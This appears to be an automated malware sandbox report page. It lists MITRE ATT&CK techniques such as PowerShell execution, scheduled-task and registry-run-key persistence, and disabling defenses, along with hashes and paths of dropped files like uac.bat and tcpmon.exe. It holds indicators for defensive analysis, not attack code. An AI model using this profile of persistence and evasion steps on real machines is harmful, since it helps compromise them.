MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 9b8bc5fe93c3c71f3146a603384c9f8c32fd4c6b8267c3e25f1158de4d14b4f7
MD5 7a50213cac83fd5503adbf0aedf00445
SHA1 8d37bc2645111dc82135f38f3a91e18594452e39
SHA512 a8b9a77deeed16f2735f0831a75ebf9f9d380aff03a87038febb47475d2ca1ed373d5d65823f61d57271badc4c05595addd070ad402221b4d831da40748c7be1
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 965dd130247bf775a4f1003ebf82f31eb4fcc0a1728d87778e0cbc19cee8b04e
MD5 f52b10a7759148113e6ed3cbe208a47f
SHA1 72753d7e0f8e3ee7a45e64b8b09d6c4f5bdc30f7
SHA512 c7ef674b73de580e197217c7126c0799369444fca2ad962736487914dc5de0092194ee879247732b2c7abb8efc454e1efbee4c6367ff7218f75f0f3904ec6068
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 1cec14714d7e3b0e34230372544e718188e0087cf953230e4351c96f5d146e39
MD5 a8aad3390a63138dce2c6115e178decd
SHA1 2b5d0739f63c21699015af413977855d3028bb93
SHA512 e43c70d77a22acb061fb9762a991e72351ef3054fea2d2371d4192cb6f37db939b5d8b2daa02f55542f889303d9c981de8e0f6119c2e35fd02d546e7a2434088
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 d7c41a32d764f0c9fbba0e8a9afa37dd2e3cae851e711e2702bfe9200497bc2a
MD5 2b5cc64c79a741610100935a94c36736
SHA1 77f2ac0b7786df73f8e00a828989e990491107ef
SHA512 b2475606151ce644b835ddcda66b60f7b9317d0db375699914ed4939ad7c6258702d3fc03c01c416465ce2159a3cd34c806311b6dd685b1dc870646a38f4a404
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 a3bc54a226c2fe4edec4825bb35c85b834a3fe5b224089c82b834adc5a90208e
MD5 338843e1c4d930b692d6fee5f64dfaba
SHA1 c6f0f9da10801d31250f8a24d524e825121ea7d0
SHA512 28e042ead2ad18d2dcc723f5fc77fa13e7a50898f1baa27a6bc556eca9047863273099e15ecb01512cf2d33a93231d7137b67d91d3d54bc3848030269f175059
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 771fa35923e4553478915a53920b4958598eda47a54e98a839bac7a814a5492b
MD5 0d3b28f5b216bd08c8516ad1e75de6c7
SHA1 85b3822bd6c9490dd1af1e69059c6f85245bc61a
SHA512 40e64b869abddafc6a9927c16eecc104264213760fcb9dfdba2124fe4a354f528650b845c1c2b418d1dc654db9dcb01474368c2d867904b7f191257639664507
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 619be9725d0febbfb26e3a05e21e817fc9228cef3eab6f599bee2dbfffc24979
MD5 0d5a2a21263df46e21c49641dd0a0421
SHA1 15e8b2427e64bdff75a5efbb71be60878e88e402
SHA512 89cd2a0667e9a5a10644bcb5b0b9505ee4a16d41fb55b41eee7a05f1c62fce02646710ea10044ba9f17db3c4fde4cf306a1b46f2269ebf415b196c4f027b5d7e
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 e1026574574062505f81f29e4922b470434e9a1443562f2cfc60629d141b645b
MD5 38efdbc83c26b14e6b367fded30a66ac
SHA1 69415c59862cd3ef0984d6730b23617de0c31682
SHA512 fd1904caf2c544c942e3d2e6bf228b68ef313bb746b67fb37548ffd007c38178ac14991addf9bf1044ef4dd2afb46fbaf542294bddc54b2fd1da217658a0b65a
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 33B
SHA256 04fb841030b3a04bcb3e7e46519c1eac97d452896be9070d78b15667899c75d7
MD5 02578441f63bfba73b164493a5cc28da
SHA1 9b297dc27bfd0fac70cf53a54e16ab35004db33d
SHA512 94bba616f65a04c84d1472ec12331ad34e93c6c12818b21da50e7fb681b1711e71ea8d22013bbc8bb3d8bff69fa88a5a9dd1bfb7a59588d8775cf1af17f98e8c
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1eac784d-ffd9-4e32-8870-74bc9f50e4a6.inf

Path C:\Users\Admin\AppData\Local\Temp\1eac784d-ffd9-4e32-8870-74bc9f50e4a6.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5xywoplp.wss.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xywoplp.wss.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

e1c3e156-65f6-439f-a63c-098eda50bcca.inf

Path C:\Users\Admin\AppData\Local\Temp\e1c3e156-65f6-439f-a63c-098eda50bcca.inf
Size 169B
SHA256 1f0c696834bdfe9659660afb0a99d0622a4b82cb65c183f3608deb542aeb9b75
MD5 6c6931a21722ddcdb0045c19093eca76
SHA1 4453467abfd525b5a9072f82aa8bc16918fb78d2
SHA512 ea27f97d3c8d72de1dab09df3ca11c7a74f0bf650d5b7a739690f5213ee54d0056f16df5374908fc25558904a9449dcc1ac808ae6bdf43f136453b13b895c279
TLSH
T1BDC080C0C1F9D6B6090579F7153B47A44D72C5153D451B4C11F0DD69835540656D327D
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 75B
SHA256 faa79910d638c7d4ec4384a90d27d91516591a6478fd22a3faf66291ceecd86b
MD5 c4033b5a52de17f577749bd4f1cef88a
SHA1 83810cb16bfaafcb0ef95a1adcfec2dca463131b
SHA512 1d2f4fe93fb420267b03141bc27513b57bc06420e5c7da5648d036827ac14cba7ffa6117a2fd124bdf72eff300c951f6b932cff6cede0041dbc967f83d7b060d
TLSH
T1E8A01202458E816B080008C7099156496024486915402E400201CC1C164300768C5501
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 25KB
SHA256 c952e74bd46b9407c60c989d89690729800de36df470b983cb87035ba74f2885
MD5 20c0252112cf17b5c8885430aa7faf05
SHA1 1680793858c2b4ae192ffcbe67220b430f271059
SHA512 f501a32b6d254a0809030acc1a90f74fb0fad75edaf7ebc575c2dfeb0ce5224fe2cb9a83cdd784feb68de8f2f65bd38712e7991f834c1b8921d6faaa545a882f
SSDEEP 384:n+TshrmS6qtHcKv0sPg988zu+SD+dhHl4+FIbUx9HTGwN+8G+H+Rz9yS5W5ZjW:+IhftVv9PgLtmyI09FI8z2ByS2
TLSH
T1ECC2E64177FCC229E0BF5BB65D7257008775B88B8E16CA0D0EE5848E1E777444EA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\D3B7A675-062B-4F71-AB53-2F32D664D4DA\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\D3B7A675-062B-4F71-AB53-2F32D664D4DA\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

memory/3092-31-0x000001D7D02A0000-0x000001D7D02C2000-memory.dmp

Download

memory/5416-0-0x0000000000A70000-0x0000000000A7C000-memory.dmp

Download

memory/5416-288-0x000000001C060000-0x000000001C070000-memory.dmp

Download

memory/6700-529-0x0000019921450000-0x0000019921451000-memory.dmp

Download

memory/8848-938-0x00007FFC45740000-0x00007FFC45840000-memory.dmp

Download

memory/9728-956-0x00007FFC45160000-0x00007FFC45429000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads